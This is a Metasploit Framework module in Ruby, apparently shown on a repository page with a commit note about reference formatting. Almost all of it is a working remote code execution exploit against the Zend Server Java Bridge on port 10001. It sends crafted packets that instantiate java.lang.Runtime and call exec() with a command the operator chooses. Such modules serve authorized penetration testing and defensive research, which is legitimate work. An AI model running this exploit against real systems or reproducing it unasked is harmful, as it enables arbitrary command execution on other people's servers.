Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
95 lines
2.6 KiB
Ruby
95 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zend Server Java Bridge Design Flaw Remote Code Execution',
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'Description' => %q{
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This module abuses a flaw in the Zend Java Bridge Component of
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the Zend Server Framework. By sending a specially crafted packet, an
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attacker may be able to execute arbitrary code.
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NOTE: This module has only been tested with the Win32 build of the software.
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},
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'Author' => [ 'ikki', 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '71420'],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/' ],
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[ 'EDB', '17078' ],
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],
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'DisclosureDate' => 'Mar 28 2011'))
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register_options(
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[
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Opt::RPORT(10001),
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OptString.new('CMD', [ false, 'The OS command to execute', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),
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], self.class)
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end
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def run
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cmd = datastore['CMD']
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connect
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java_object = [0x33000000].pack('V') + [0x00000000].pack('V')
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java_object << [0x0c000000].pack('V') + "CreateObject"
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java_object << [0x02000000].pack('V') + [0x00000004].pack('V')
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java_object << "\x11" + "java.lang.Runtime" + "\x07"
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java_object << [0x00000000].pack('V')
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print_status("Creating the Java Object 'java.lang.Runtime'")
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sock.put(java_object)
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res = sock.get_once() || ''
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classid = res[5,4]
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runtime = [0x16000000].pack('V') + classid + [0x0a000000].pack('V')
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runtime << "getRuntime" + [0x00000000].pack('V')
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print_status("Invoking static method 'getRuntime()'")
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sock.put(runtime)
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res = sock.get_once() || ''
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methodid = res[5,4]
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exec = [0x00].pack('n') + [21 + cmd.length].pack('n') + methodid
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exec << [0x04000000].pack('V') + "exec" + [0x01000000].pack('V')
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exec << "\x04" + [0x00].pack('n') + [cmd.length].pack('n') + cmd
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print_status("Invoking method 'exec()' with parameter '#{cmd}'")
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sock.put(exec)
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success = sock.get_once() || ''
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if (success =~ /\x00\x00\x00/)
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print_status("Cleaning up the JVM")
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rm = [0x11000000].pack('V') + [0xffffffff].pack('V')
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rm << [0x05000000].pack('V') + "reset"
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rm << [0x00000000].pack('V')
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sock.put(rm)
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else
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print_error("Failed to run command...")
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disconnect
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return
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end
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disconnect
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end
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end
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